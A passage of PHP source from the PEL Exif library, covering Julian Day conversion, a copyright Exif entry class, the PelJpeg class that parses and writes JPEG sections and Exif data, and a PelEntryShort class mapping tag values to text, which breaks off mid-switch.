400 | * Converts a UNIX timestamp to a Julian Day count.
401 | *
402 | * @param int $timestamp the timestamp.
403 | * @return int the Julian Day count.
404 | */
405 | function convertUnixToJd($timestamp) {
406 | return (int)(floor($timestamp / 86400) + 2440588);
407 | }
408 |
409 | /**
410 | * Converts a Julian Day count to a UNIX timestamp.
411 | *
412 | * @param int $jd the Julian Day count.
413 |
414 | * @return mixed $timestamp the integer timestamp or false if the
415 | * day count cannot be represented as a UNIX timestamp.
416 | */
417 | function convertJdToUnix($jd) {
418 | $timestamp = ($jd - 2440588) * 86400;
419 | if ($timestamp != (int)$timestamp)
420 | return false;
421 | else
422 | return $timestamp;
423 | }
424 |
425 | }
426 |
427 |
428 | /**
429 | * Class for holding copyright information.
430 | *
431 | * The Exif standard specifies a certain format for copyright
432 | * information where the one {@link PelTag::COPYRIGHT copyright
433 | * tag} holds both the photographer and editor copyrights, separated
434 | * by a NULL character.
435 | *
436 | * This class is used to manipulate that tag so that the format is
437 | * kept to the standard. A common use would be to add a new copyright
438 | * tag to an image, since most cameras do not add this tag themselves.
439 | * This would be done like this:
440 | *
441 | *
442 | * $entry = new PelEntryCopyright('Copyright, Martin Geisler, 2004');
443 | * $ifd0->addEntry($entry);
444 | *
445 | *
446 | * Here we only set the photographer copyright, use the optional
447 | * second argument to specify the editor copyright. If there is only
448 | * an editor copyright, then let the first argument be the empty
449 | * string.
450 | *
451 | * @author Martin Geisler
452 | * @package PEL
453 | */
454 | class PelEntryCopyright extends PelEntryAscii {
455 |
456 | /**
457 | * The photographer copyright.
458 | *
459 | * @var string
460 | */
461 | private $photographer;
462 |
463 | /**
464 | * The editor copyright.
465 | *
466 | * @var string
467 | */
468 | private $editor;
469 |
470 |
471 | /**
472 | * Make a new entry for holding copyright information.
473 | *
474 | * @param string the photographer copyright. Use the empty string
475 | * if there is no photographer copyright.
476 | *
477 | * @param string the editor copyright. Use the empty string if
478 | * there is no editor copyright.
479 | */
480 | function __construct($photographer = '', $editor = '') {
481 | parent::__construct(PelTag::COPYRIGHT);
482 | $this->setValue($photographer, $editor);
483 | }
484 |
485 |
486 | /**
487 | * Update the copyright information.
488 | *
489 | * @param string the photographer copyright. Use the empty string
490 | * if there is no photographer copyright.
491 | *
492 | * @param string the editor copyright. Use the empty string if
493 | * there is no editor copyright.
494 | */
495 | function setValue($photographer = '', $editor = '') {
496 | $this->photographer = $photographer;
497 | $this->editor = $editor;
498 |
499 | if ($photographer == '' && $editor != '')
500 | $photographer = ' ';
501 |
502 | if ($editor == '')
503 | parent::setValue($photographer);
504 | else
505 | parent::setValue($photographer . chr(0x00) . $editor);
506 | }
507 |
508 |
509 | /**
510 | * Retrive the copyright information.
511 | *
512 | * The strings returned will be the same as the one used previously
513 | * with either {@link __construct the constructor} or with {@link
514 | * setValue}.
515 | *
516 | * @return array an array with two strings, the photographer and
517 | * editor copyrights. The two fields will be returned in that
518 | * order, so that the first array index will be the photographer
519 | * copyright, and the second will be the editor copyright.
520 | */
521 | function getValue() {
522 | return array($this->photographer, $this->editor);
523 | }
524 |
525 |
526 | /**
527 | * Return a text string with the copyright information.
528 | *
529 | * The photographer and editor copyright fields will be returned
530 | * with a '-' in between if both copyright fields are present,
531 | * otherwise only one of them will be returned.
532 | *
533 | * @param boolean if false, then the strings '(Photographer)' and
534 | * '(Editor)' will be appended to the photographer and editor
535 | * copyright fields (if present), otherwise the fields will be
536 | * returned as is.
537 | *
538 | * @return string the copyright information in a string.
539 | */
540 | function getText($brief = false) {
541 | if ($brief) {
542 | $p = '';
543 | $e = '';
544 | } else {
545 | $p = ' ' . Pel::tra('(Photographer)');
546 | $e = ' ' . Pel::tra('(Editor)');
547 | }
548 |
549 | if ($this->photographer != '' && $this->editor != '')
550 | return $this->photographer . $p . ' - ' . $this->editor . $e;
551 |
552 | if ($this->photographer != '')
553 | return $this->photographer . $p;
554 |
555 | if ($this->editor != '')
556 | return $this->editor . $e;
557 |
558 | return '';
559 | }
560 | }
561 |
562 |
--------------------------------------------------------------------------------
/pel/PelJpeg.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public License (GPL)
35 | * @package PEL
36 | */
37 |
38 | /**#@+ Required class definitions. */
39 | require_once('PelJpegComment.php');
40 | require_once('PelJpegContent.php');
41 | require_once('PelDataWindow.php');
42 | require_once('PelJpegMarker.php');
43 | require_once('PelException.php');
44 | require_once('PelExif.php');
45 | require_once('Pel.php');
46 | /**#@-*/
47 |
48 |
49 | /**
50 | * Exception thrown when an invalid marker is found.
51 | *
52 | * This exception is thrown when PEL expects to find a {@link
53 | * PelJpegMarker} and instead finds a byte that isn't a known marker.
54 | *
55 | * @author Martin Geisler
56 | * @package PEL
57 | * @subpackage Exception
58 | */
59 | class PelJpegInvalidMarkerException extends PelException {
60 |
61 | /**
62 | * Construct a new invalid marker exception.
63 | *
64 | * The exception will contain a message describing the error,
65 | * including the byte found and the offset of the offending byte.
66 | *
67 | * @param int the byte found.
68 | *
69 | * @param int the offset in the data.
70 | */
71 | function __construct($marker, $offset) {
72 | parent::__construct('Invalid marker found at offset %d: 0x%2X',
73 | $offset, $marker);
74 | }
75 | }
76 |
77 | /**
78 | * Class for handling JPEG data.
79 | *
80 | * The {@link PelJpeg} class defined here provides an abstraction for
81 | * dealing with a JPEG file. The file will be contain a number of
82 | * sections containing some {@link PelJpegContent content} identified
83 | * by a {@link PelJpegMarker marker}.
84 | *
85 | * The {@link getExif()} method is used get hold of the {@link
86 | * PelJpegMarker::APP1 APP1} section which stores Exif data. So if
87 | * the name of the JPEG file is stored in $filename, then one would
88 | * get hold of the Exif data by saying:
89 | *
90 | *
91 | * $jpeg = new PelJpeg($filename);
92 | * $exif = $jpeg->getExif();
93 | * $tiff = $exif->getTiff();
94 | * $ifd0 = $tiff->getIfd();
95 | * $exif = $ifd0->getSubIfd(PelIfd::EXIF);
96 | * $ifd1 = $ifd0->getNextIfd();
97 | *
98 | *
99 | * The $idf0 and $ifd1 variables will then be two {@link PelTiff TIFF}
100 | * {@link PelIfd Image File Directories}, in which the data is stored
101 | * under the keys found in {@link PelTag}.
102 | *
103 | * Should one have some image data (in the form of a {@link
104 | * PelDataWindow}) of an unknown type, then the {@link
105 | * PelJpeg::isValid()} function is handy: it will quickly test if the
106 | * data could be valid JPEG data. The {@link PelTiff::isValid()}
107 | * function does the same for TIFF images.
108 | *
109 | * @author Martin Geisler
110 | * @package PEL
111 | */
112 | class PelJpeg {
113 |
114 | /**
115 | * The sections in the JPEG data.
116 | *
117 | * A JPEG file is built up as a sequence of sections, each section
118 | * is identified with a {@link PelJpegMarker}. Some sections can
119 | * occur more than once in the JPEG stream (the {@link
120 | * PelJpegMarker::DQT DQT} and {@link PelJpegMarker::DHT DTH}
121 | * markers for example) and so this is an array of ({@link
122 | * PelJpegMarker}, {@link PelJpegContent}) pairs.
123 | *
124 | * The content can be either generic {@link PelJpegContent JPEG
125 | * content} or {@link PelExif Exif data}.
126 | *
127 | * @var array
128 | */
129 | private $sections = array();
130 |
131 | /**
132 | * The JPEG image data.
133 | *
134 | * @var PelDataWindow
135 | */
136 | private $jpeg_data = null;
137 |
138 | /**
139 | * Construct a new JPEG object.
140 | *
141 | * The new object will be empty unless an argument is given from
142 | * which it can initialize itself. This can either be the filename
143 | * of a JPEG image, a {@link PelDataWindow} object or a PHP image
144 | * resource handle.
145 | *
146 | * New Exif data (in the form of a {@link PelExif} object) can be
147 | * inserted with the {@link setExif()} method:
148 | *
149 | *
150 | * $jpeg = new PelJpeg($data);
151 | * // Create container for the Exif information:
152 | * $exif = new PelExif();
153 | * // Now Add a PelTiff object with a PelIfd object with one or more
154 | * // PelEntry objects to $exif... Finally add $exif to $jpeg:
155 | * $jpeg->setExif($exif);
156 | *
157 | *
158 | * @param mixed the data that this JPEG. This can either be a
159 | * filename, a {@link PelDataWindow} object, or a PHP image resource
160 | * handle.
161 | */
162 | function __construct($data = false) {
163 | if ($data === false)
164 | return;
165 |
166 | if (is_string($data)) {
167 | Pel::debug('Initializing PelJpeg object from %s', $data);
168 | $this->loadFile($data);
169 | } elseif ($data instanceof PelDataWindow) {
170 | Pel::debug('Initializing PelJpeg object from PelDataWindow.');
171 | $this->load($data);
172 | } elseif (is_resource($data) && get_resource_type($data) == 'gd') {
173 | Pel::debug('Initializing PelJpeg object from image resource.');
174 | $this->load(new PelDataWindow($data));
175 | } else {
176 | throw new PelInvalidArgumentException('Bad type for $data: %s',
177 | gettype($data));
178 | }
179 | }
180 |
181 | /**
182 | * Load data into a JPEG object.
183 | *
184 | * The data supplied will be parsed and turned into an object
185 | * structure representing the image. This structure can then be
186 | * manipulated and later turned back into an string of bytes.
187 | *
188 | * This methods can be called at any time after a JPEG object has
189 | * been constructed, also after the {@link appendSection()} has been
190 | * called to append custom sections. Loading several JPEG images
191 | * into one object will accumulate the sections, but there will only
192 | * be one {@link PelJpegMarker::SOS} section at any given time.
193 | *
194 | * @param PelDataWindow the data that will be turned into JPEG
195 | * sections.
196 | */
197 | function load(PelDataWindow $d) {
198 |
199 | Pel::debug('Parsing %d bytes...', $d->getSize());
200 |
201 | /* JPEG data is stored in big-endian format. */
202 | $d->setByteOrder(PelConvert::BIG_ENDIAN);
203 |
204 | /* Run through the data to read the sections in the image. After
205 | * each section is read, the start of the data window will be
206 | * moved forward, and after the last section we'll terminate with
207 | * no data left in the window. */
208 | while ($d->getSize() > 0) {
209 | /* JPEG sections start with 0xFF. The first byte that is not
210 | * 0xFF is a marker (hopefully).
211 | */
212 | for ($i = 0; $i < 7; $i++)
213 | if ($d->getByte($i) != 0xFF)
214 | break;
215 |
216 | $marker = $d->getByte($i);
217 |
218 | if (!PelJpegMarker::isValid($marker))
219 | throw new PelJpegInvalidMarkerException($marker, $i);
220 |
221 | /* Move window so first byte becomes first byte in this
222 | * section. */
223 | $d->setWindowStart($i+1);
224 |
225 | if ($marker == PelJpegMarker::SOI || $marker == PelJpegMarker::EOI) {
226 | $content = new PelJpegContent(new PelDataWindow());
227 | $this->appendSection($marker, $content);
228 | } else {
229 | /* Read the length of the section. The length includes the
230 | * two bytes used to store the length. */
231 | $len = $d->getShort(0) - 2;
232 |
233 | Pel::debug('Found %s section of length %d',
234 | PelJpegMarker::getName($marker), $len);
235 |
236 | /* Skip past the length. */
237 | $d->setWindowStart(2);
238 |
239 | if ($marker == PelJpegMarker::APP1) {
240 |
241 | try {
242 | $content = new PelExif();
243 | $content->load($d->getClone(0, $len));
244 | } catch (PelInvalidDataException $e) {
245 | /* We store the data as normal JPEG content if it could
246 | * not be parsed as Exif data. */
247 | $content = new PelJpegContent($d->getClone(0, $len));
248 | }
249 |
250 | $this->appendSection($marker, $content);
251 | /* Skip past the data. */
252 | $d->setWindowStart($len);
253 |
254 | } elseif ($marker == PelJpegMarker::COM) {
255 |
256 | $content = new PelJpegComment();
257 | $content->load($d->getClone(0, $len));
258 | $this->appendSection($marker, $content);
259 | $d->setWindowStart($len);
260 |
261 | } else {
262 |
263 | $content = new PelJpegContent($d->getClone(0, $len));
264 | $this->appendSection($marker, $content);
265 | /* Skip past the data. */
266 | $d->setWindowStart($len);
267 |
268 | /* In case of SOS, image data will follow. */
269 | if ($marker == PelJpegMarker::SOS) {
270 | /* Some images have some trailing (garbage?) following the
271 | * EOI marker. To handle this we seek backwards until we
272 | * find the EOI marker. Any trailing content is stored as
273 | * a PelJpegContent object. */
274 |
275 | $length = $d->getSize();
276 | while ($d->getByte($length-2) != 0xFF ||
277 | $d->getByte($length-1) != PelJpegMarker::EOI) {
278 | $length--;
279 | }
280 |
281 | $this->jpeg_data = $d->getClone(0, $length-2);
282 | Pel::debug('JPEG data: ' . $this->jpeg_data->__toString());
283 |
284 | /* Append the EOI. */
285 | $this->appendSection(PelJpegMarker::EOI,
286 | new PelJpegContent(new PelDataWindow()));
287 |
288 | /* Now check to see if there are any trailing data. */
289 | if ($length != $d->getSize()) {
290 | Pel::maybeThrow(new PelException('Found trailing content ' .
291 | 'after EOI: %d bytes',
292 | $d->getSize() - $length));
293 | $content = new PelJpegContent($d->getClone($length));
294 | /* We don't have a proper JPEG marker for trailing
295 | * garbage, so we just use 0x00... */
296 | $this->appendSection(0x00, $content);
297 | }
298 |
299 | /* Done with the loop. */
300 | break;
301 | }
302 | }
303 | }
304 | } /* while ($d->getSize() > 0) */
305 | }
306 |
307 |
308 | /**
309 | * Load data from a file into a JPEG object.
310 | *
311 | * @param string the filename. This must be a readable file.
312 | */
313 | function loadFile($filename) {
314 | $this->load(new PelDataWindow(file_get_contents($filename)));
315 | }
316 |
317 |
318 | /**
319 | * Set Exif data.
320 | *
321 | * Use this to set the Exif data in the image. This will overwrite
322 | * any old Exif information in the image.
323 | *
324 | * @param PelExif the Exif data.
325 | */
326 | function setExif(PelExif $exif) {
327 | $app0_offset = 1;
328 | $app1_offset = -1;
329 |
330 | /* Search through all sections looking for APP0 or APP1. */
331 | for ($i = 0; $i < count($this->sections); $i++) {
332 | if ($this->sections[$i][0] == PelJpegMarker::APP0) {
333 | $app0_offset = $i;
334 | } elseif ($this->sections[$i][0] == PelJpegMarker::APP1) {
335 | $app1_offset = $i;
336 | break;
337 | }
338 | }
339 |
340 | /* Store the Exif data at the appropriate place, either where the
341 | * old Exif data was stored ($app1_offset) or right after APP0
342 | * ($app0_offset+1). */
343 | if ($app1_offset > 0)
344 | $this->sections[$app1_offset][1] = $exif;
345 | else
346 | $this->insertSection(PelJpegMarker::APP1, $exif, $app0_offset+1);
347 | }
348 |
349 |
350 | /**
351 | * Get Exif data.
352 | *
353 | * Use this to get the @{link PelExif Exif data} stored.
354 | *
355 | * @return PelExif the Exif data found or null if the image has no
356 | * Exif data.
357 | */
358 | function getExif() {
359 | $exif = $this->getSection(PelJpegMarker::APP1);
360 | if ($exif instanceof PelExif)
361 | return $exif;
362 | else
363 | return null;
364 | }
365 |
366 |
367 | /**
368 | * Clear any Exif data.
369 | *
370 | * This method will only clear the first @{link PelJpegMarker::APP1}
371 | * section found (there should normally be just one).
372 | */
373 | function clearExif() {
374 | for ($i = 0; $i < count($this->sections); $i++) {
375 | if ($this->sections[$i][0] == PelJpegMarker::APP1) {
376 | unset($this->sections[$i]);
377 | return;
378 | }
379 | }
380 | }
381 |
382 |
383 | /**
384 | * Append a new section.
385 | *
386 | * Used only when loading an image. If it used again later, then the
387 | * section will end up after the @{link PelJpegMarker::EOI EOI
388 | * marker} and will probably not be useful.
389 | *
390 | * Please use @{link setExif()} instead if you intend to add Exif
391 | * information to an image as that function will know the right
392 | * place to insert the data.
393 | *
394 | * @param PelJpegMarker the marker identifying the new section.
395 | *
396 | * @param PelJpegContent the content of the new section.
397 | */
398 | function appendSection($marker, PelJpegContent $content) {
399 | $this->sections[] = array($marker, $content);
400 | }
401 |
402 |
403 | /**
404 | * Insert a new section.
405 | *
406 | * Please use @{link setExif()} instead if you intend to add Exif
407 | * information to an image as that function will know the right
408 | * place to insert the data.
409 | *
410 | * @param PelJpegMarker the marker for the new section.
411 | *
412 | * @param PelJpegContent the content of the new section.
413 | *
414 | * @param int the offset where the new section will be inserted ---
415 | * use 0 to insert it at the very beginning, use 1 to insert it
416 | * between sections 1 and 2, etc.
417 | */
418 | function insertSection($marker, PelJpegContent $content, $offset) {
419 | array_splice($this->sections, $offset, 0, array(array($marker, $content)));
420 | }
421 |
422 |
423 | /**
424 | * Get a section corresponding to a particular marker.
425 | *
426 | * Please use the {@link getExif()} if you just need the Exif data.
427 | *
428 | * This will search through the sections of this JPEG object,
429 | * looking for a section identified with the specified {@link
430 | * PelJpegMarker marker}. The {@link PelJpegContent content} will
431 | * then be returned. The optional argument can be used to skip over
432 | * some of the sections. So if one is looking for the, say, third
433 | * {@link PelJpegMarker::DHT DHT} section one would do:
434 | *
435 | *
436 | * $dht3 = $jpeg->getSection(PelJpegMarker::DHT, 2);
437 | *
438 | *
439 | * @param PelJpegMarker the marker identifying the section.
440 | *
441 | * @param int the number of sections to be skipped. This must be a
442 | * non-negative integer.
443 | *
444 | * @return PelJpegContent the content found, or null if there is no
445 | * content available.
446 | */
447 | function getSection($marker, $skip = 0) {
448 | foreach ($this->sections as $s) {
449 | if ($s[0] == $marker)
450 | if ($skip > 0)
451 | $skip--;
452 | else
453 | return $s[1];
454 | }
455 |
456 | return null;
457 | }
458 |
459 |
460 | /**
461 | * Get all sections.
462 | *
463 | * @return array an array of ({@link PelJpegMarker}, {@link
464 | * PelJpegContent}) pairs. Each pair is an array with the {@link
465 | * PelJpegMarker} as the first element and the {@link
466 | * PelJpegContent} as the second element, so the return type is an
467 | * array of arrays.
468 | *
469 | * So to loop through all the sections in a given JPEG image do
470 | * this:
471 | *
472 | *
473 | * foreach ($jpeg->getSections() as $section) {
474 | * $marker = $section[0];
475 | * $content = $section[1];
476 | * // Use $marker and $content here.
477 | * }
478 | *
479 | *
480 | * instead of this:
481 | *
482 | *
483 | * foreach ($jpeg->getSections() as $marker => $content) {
484 | * // Does not work the way you would think...
485 | * }
486 | *
487 | *
488 | * The problem is that there could be several sections with the same
489 | * marker, and thus a simple associative array does not suffice.
490 | */
491 | function getSections() {
492 | return $this->sections;
493 | }
494 |
495 |
496 | /**
497 | * Turn this JPEG object into bytes.
498 | *
499 | * The bytes returned by this method is ready to be stored in a file
500 | * as a valid JPEG image. Use the {@link saveFile()} convenience
501 | * method to do this.
502 | *
503 | * @return string bytes representing this JPEG object, including all
504 | * its sections and their associated data.
505 | */
506 | function getBytes() {
507 | $bytes = '';
508 |
509 | foreach ($this->sections as $section) {
510 | $m = $section[0];
511 | $c = $section[1];
512 |
513 | /* Write the marker */
514 | $bytes .= "\xFF" . PelJpegMarker::getBytes($m);
515 | /* Skip over empty markers. */
516 | if ($m == PelJpegMarker::SOI || $m == PelJpegMarker::EOI)
517 | continue;
518 |
519 | $data = $c->getBytes();
520 | $size = strlen($data) + 2;
521 |
522 | $bytes .= PelConvert::shortToBytes($size, PelConvert::BIG_ENDIAN);
523 | $bytes .= $data;
524 |
525 | /* In case of SOS, we need to write the JPEG data. */
526 | if ($m == PelJpegMarker::SOS)
527 | $bytes .= $this->jpeg_data->getBytes();
528 | }
529 |
530 | return $bytes;
531 |
532 | }
533 |
534 |
535 | /**
536 | * Save the JPEG object as a JPEG image in a file.
537 | *
538 | * @param string the filename to save in. An existing file with the
539 | * same name will be overwritten!
540 | */
541 | function saveFile($filename) {
542 | file_put_contents($filename, $this->getBytes());
543 | }
544 |
545 |
546 | /**
547 | * Make a string representation of this JPEG object.
548 | *
549 | * This is mainly usefull for debugging. It will show the structure
550 | * of the image, and its sections.
551 | *
552 | * @return string debugging information about this JPEG object.
553 | */
554 | function __toString() {
555 | $str = Pel::tra("Dumping JPEG data...\n");
556 | for ($i = 0; $i < count($this->sections); $i++) {
557 | $m = $this->sections[$i][0];
558 | $c = $this->sections[$i][1];
559 | $str .= Pel::fmt("Section %d (marker 0x%02X - %s):\n",
560 | $i, $m, PelJpegMarker::getName($m));
561 | $str .= Pel::fmt(" Description: %s\n",
562 | PelJpegMarker::getDescription($m));
563 |
564 | if ($m == PelJpegMarker::SOI ||
565 | $m == PelJpegMarker::EOI)
566 | continue;
567 |
568 | if ($c instanceof PelExif) {
569 | $str .= Pel::tra(" Content : Exif data\n");
570 | $str .= $c->__toString() . "\n";
571 | } elseif ($c instanceof PelJpegComment) {
572 | $str .= Pel::fmt(" Content : %s\n", $c->getValue());
573 | } else {
574 | $str .= Pel::tra(" Content : Unknown\n");
575 | }
576 | }
577 |
578 | return $str;
579 | }
580 |
581 |
582 | /**
583 | * Test data to see if it could be a valid JPEG image.
584 | *
585 | * The function will only look at the first few bytes of the data,
586 | * and try to determine if it could be a valid JPEG image based on
587 | * those bytes. This means that the check is more like a heuristic
588 | * than a rigorous check.
589 | *
590 | * @param PelDataWindow the bytes that will be checked.
591 | *
592 | * @return boolean true if the bytes look like the beginning of a
593 | * JPEG image, false otherwise.
594 | *
595 | * @see PelTiff::isValid()
596 | */
597 | static function isValid(PelDataWindow $d) {
598 | /* JPEG data is stored in big-endian format. */
599 | $d->setByteOrder(PelConvert::BIG_ENDIAN);
600 |
601 | for ($i = 0; $i < 7; $i++)
602 | if ($d->getByte($i) != 0xFF)
603 | break;
604 |
605 | return $d->getByte($i) == PelJpegMarker::SOI;
606 | }
607 |
608 | }
609 |
610 |
--------------------------------------------------------------------------------
/pel/PelEntryShort.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**#@+ Required class definitions. */
40 | require_once('PelEntryNumber.php');
41 | require_once('PelConvert.php');
42 | require_once('Pel.php');
43 | /**#@-*/
44 |
45 |
46 | /**
47 | * Class for holding signed shorts.
48 | *
49 | * This class can hold shorts, either just a single short or an array
50 | * of shorts. The class will be used to manipulate any of the Exif
51 | * tags which has format {@link PelFormat::SHORT} like in this
52 | * example:
53 | *
54 | *
55 | * $w = $ifd->getEntry(PelTag::EXIF_IMAGE_WIDTH);
56 | * $w->setValue($w->getValue() / 2);
57 | * $h = $ifd->getEntry(PelTag::EXIF_IMAGE_HEIGHT);
58 | * $h->setValue($h->getValue() / 2);
59 | *
60 | *
61 | * Here the width and height is updated to 50% of their original
62 | * values.
63 | *
64 | * @author Martin Geisler
65 | * @package PEL
66 | */
67 | class PelEntryShort extends PelEntryNumber {
68 |
69 | /**
70 | * Make a new entry that can hold an unsigned short.
71 | *
72 | * The method accept several integer arguments. The {@link
73 | * getValue} method will always return an array except for when a
74 | * single integer argument is given here.
75 | *
76 | * This means that one can conveniently use objects like this:
77 | *
78 | * $a = new PelEntryShort(PelTag::EXIF_IMAGE_HEIGHT, 42);
79 | * $b = $a->getValue() + 314;
80 | *
81 | * where the call to {@link getValue} will return an integer
82 | * instead of an array with one integer element, which would then
83 | * have to be extracted.
84 | *
85 | * @param PelTag the tag which this entry represents. This should be
86 | * one of the constants defined in {@link PelTag}, e.g., {@link
87 | * PelTag::IMAGE_WIDTH}, {@link PelTag::ISO_SPEED_RATINGS},
88 | * or any other tag with format {@link PelFormat::SHORT}.
89 | *
90 | * @param int $value... the short(s) that this entry will
91 | * represent. The argument passed must obey the same rules as the
92 | * argument to {@link setValue}, namely that it should be within
93 | * range of an unsigned short, that is between 0 and 65535
94 | * (inclusive). If not, then a {@link PelOverFlowException} will be
95 | * thrown.
96 | */
97 | function __construct($tag /* $value... */) {
98 | $this->tag = $tag;
99 | $this->min = 0;
100 | $this->max = 65535;
101 | $this->format = PelFormat::SHORT;
102 |
103 | $value = func_get_args();
104 | array_shift($value);
105 | $this->setValueArray($value);
106 | }
107 |
108 |
109 | /**
110 | * Convert a number into bytes.
111 | *
112 | * @param int the number that should be converted.
113 | *
114 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and
115 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
116 | *
117 | * @return string bytes representing the number given.
118 | */
119 | function numberToBytes($number, $order) {
120 | return PelConvert::shortToBytes($number, $order);
121 | }
122 |
123 |
124 | /**
125 | * Get the value of an entry as text.
126 | *
127 | * The value will be returned in a format suitable for presentation,
128 | * e.g., instead of returning '2' for a {@link
129 | * PelTag::METERING_MODE} tag, 'Center-Weighted Average' is
130 | * returned.
131 | *
132 | * @param boolean some values can be returned in a long or more
133 | * brief form, and this parameter controls that.
134 | *
135 | * @return string the value as text.
136 | */
137 | function getText($brief = false) {
138 | switch ($this->tag) {
139 | case PelTag::METERING_MODE:
140 | //CC (e->components, 1, v);
141 | switch ($this->value[0]) {
142 | case 0:
143 | return Pel::tra('Unknown');
144 | case 1:
145 | return Pel::tra('Average');
146 | case 2:
147 | return Pel::tra('Center-Weighted Average');
148 | case 3:
149 | return Pel::tra('Spot');
150 | case 4:
151 | return Pel::tra('Multi Spot');
152 | case 5:
153 | return Pel::tra('Pattern');
154 | case 6:
155 | return Pel::tra('Partial');
156 | case 255:
157 | return Pel::tra('Other');
158 | default:
159 | return $this->value[0];
160 | }
161 |
162 | case PelTag::COMPRESSION:
163 | //CC (e->components, 1, v);
164 | switch ($this->value[0]) {
165 | case 1:
166 | return Pel::tra('Uncompressed');
167 | case 6:
168 | return Pel::tra('JPEG compression');
169 | default:
170 | return $this->value[0];
171 |
172 | }
173 |
174 | case PelTag::PLANAR_CONFIGURATION:
175 | //CC (e->components, 1, v);
176 | switch ($this->value[0]) {
177 | case 1:
178 | return Pel::tra('chunky format');
179 | case 2:
180 | return Pel::tra('planar format');
181 | default:
182 | return $this->value[0];
183 | }
184 |
185 | case PelTag::SENSING_METHOD:
186 | //CC (e->components, 1, v);
187 | switch ($this->value[0]) {
188 | case 1:
189 | return Pel::tra('Not defined');
190 | case 2:
191 | return Pel::tra('One-chip color area sensor');
192 | case 3:
193 | return Pel::tra('Two-chip color area sensor');
194 | case 4:
195 | return Pel::tra('Three-chip color area sensor');
196 | case 5:
197 | return Pel::tra('Color sequential area sensor');
198 | case 7:
199 | return Pel::tra('Trilinear sensor');
200 | case 8:
201 | return Pel::tra('Color sequential linear sensor');
202 | default:
203 | return $this->value[0];
204 | }
205 |
206 | case PelTag::LIGHT_SOURCE:
207 | //CC (e->components, 1, v);
208 | switch ($this->value[0]) {
209 | case 0:
210 | return Pel::tra('Unknown');
211 | case 1:
212 | return Pel::tra('Daylight');
213 | case 2:
214 | return Pel::tra('Fluorescent');
215 | case 3:
216 | return Pel::tra('Tungsten (incandescent light)');
217 | case 4:
218 | return Pel::tra('Flash');
219 | case 9:
220 | return Pel::tra('Fine weather');
221 | case 10:
222 | return Pel::tra('Cloudy weather');
223 | case 11:
224 | return Pel::tra('Shade');
225 | case 12:
226 | return Pel::tra('Daylight fluorescent');
227 | case 13:
228 | return Pel::tra('Day white fluorescent');
229 | case 14:
230 | return Pel::tra('Cool white fluorescent');
231 | case 15:
232 | return Pel::tra('White fluorescent');
233 | case 17:
234 | return Pel::tra('Standard light A');
235 | case 18:
236 | return Pel::tra('Standard light B');
237 | case 19:
238 | return Pel::tra('Standard light C');
239 | case 20:
240 | return Pel::tra('D55');
241 | case 21:
242 | return Pel::tra('D65');
243 | case 22:
244 | return Pel::tra('D75');
245 | case 24:
246 | return Pel::tra('ISO studio tungsten');
247 | case 255:
248 | return Pel::tra('Other');
249 | default:
250 | return $this->value[0];
251 | }
252 |
253 | case PelTag::FOCAL_PLANE_RESOLUTION_UNIT:
254 | case PelTag::RESOLUTION_UNIT:
255 | //CC (e->components, 1, v);
256 | switch ($this->value[0]) {
257 | case 2:
258 | return Pel::tra('Inch');
259 | case 3:
260 | return Pel::tra('Centimeter');
261 | default:
262 | return $this->value[0];
263 | }
264 |
265 | case PelTag::EXPOSURE_PROGRAM:
266 | //CC (e->components, 1, v);
267 | switch ($this->value[0]) {
268 | case 0:
269 | return Pel::tra('Not defined');
270 | case 1:
271 | return Pel::tra('Manual');
272 | case 2:
273 | return Pel::tra('Normal program');
274 | case 3:
275 | return Pel::tra('Aperture priority');
276 | case 4:
277 | return Pel::tra('Shutter priority');
278 | case 5:
279 | return Pel::tra('Creative program (biased toward depth of field)');
280 | case 6:
281 | return Pel::tra('Action program (biased toward fast shutter speed)');
282 | case 7:
283 | return Pel::tra('Portrait mode (for closeup photos with the background out of focus');
284 | case 8:
285 | return Pel::tra('Landscape mode (for landscape photos with the background in focus');
286 | default:
287 | return $this->value[0];
288 | }
289 |
290 | case PelTag::ORIENTATION:
291 | //CC (e->components, 1, v);
292 | switch ($this->value[0]) {
293 | case 1:
294 | return Pel::tra('top - left');
295 | case 2:
296 | return Pel::tra('top - right');
297 | case 3:
298 | return Pel::tra('bottom - right');
299 | case 4:
300 | return Pel::tra('bottom - left');
301 | case 5:
302 | return Pel::tra('left - top');
303 | case 6:
304 | return Pel::tra('right - top');
305 | case 7:
306 | return Pel::tra('right - bottom');
307 | case 8:
308 | return Pel::tra('left - bottom');
309 | default:
310 | return $this->value[0];
311 | }
312 |
313 | case PelTag::YCBCR_POSITIONING:
314 | //CC (e->components, 1, v);
315 | switch ($this->value[0]) {
316 | case 1:
317 | return Pel::tra('centered');
318 | case 2:
319 | return Pel::tra('co-sited');
320 | default:
321 | return $this->value[0];
322 | }
323 |
324 | case PelTag::YCBCR_SUB_SAMPLING:
325 | //CC (e->components, 2, v);
326 | if ($this->value[0] == 2 && $this->value[1] == 1)
327 | return 'YCbCr4:2:2';
328 | if ($this->value[0] == 2 && $this->value[1] == 2)
329 | return 'YCbCr4:2:0';
330 |
331 | return $this->value[0] . ', ' . $this->value[1];
332 |
333 | case PelTag::PHOTOMETRIC_INTERPRETATION:
334 | //CC (e->components, 1, v);
335 | switch ($this->value[0]) {
336 | case 2:
337 | return 'RGB';
338 | case 6:
339 | return 'YCbCr';
340 | default:
341 | return $this->value[0];
342 | }
343 |
344 | case PelTag::COLOR_SPACE:
345 | //CC (e->components, 1, v);
346 | switch ($this->value[0]) {
347 | case 1:
348 | return 'sRGB';
349 | case 2:
350 | return 'Adobe RGB';
351 | case 0xffff:
352 | return Pel::tra('Uncalibrated');
353 | default:
354 | return $this->value[0];
355 | }
356 |
357 | case PelTag::FLASH:
358 | //CC (e->components, 1, v);
359 | switch ($this->value[0]) {
360 | case 0x0000:
361 | return Pel::tra('Flash did not fire.');
362 | case 0x0001:
363 | return Pel::tra('Flash fired.');
364 | case 0x0005:
365 | return Pel::tra('Strobe return light not detected.');
366 | case 0x0007:
367 | return Pel::tra('Strobe return light detected.');
368 | case 0x0009:
369 | return Pel::tra('Flash fired, compulsory flash mode.');
370 | case 0x000d:
371 | return Pel::tra('Flash fired, compulsory flash mode, return light not detected.');
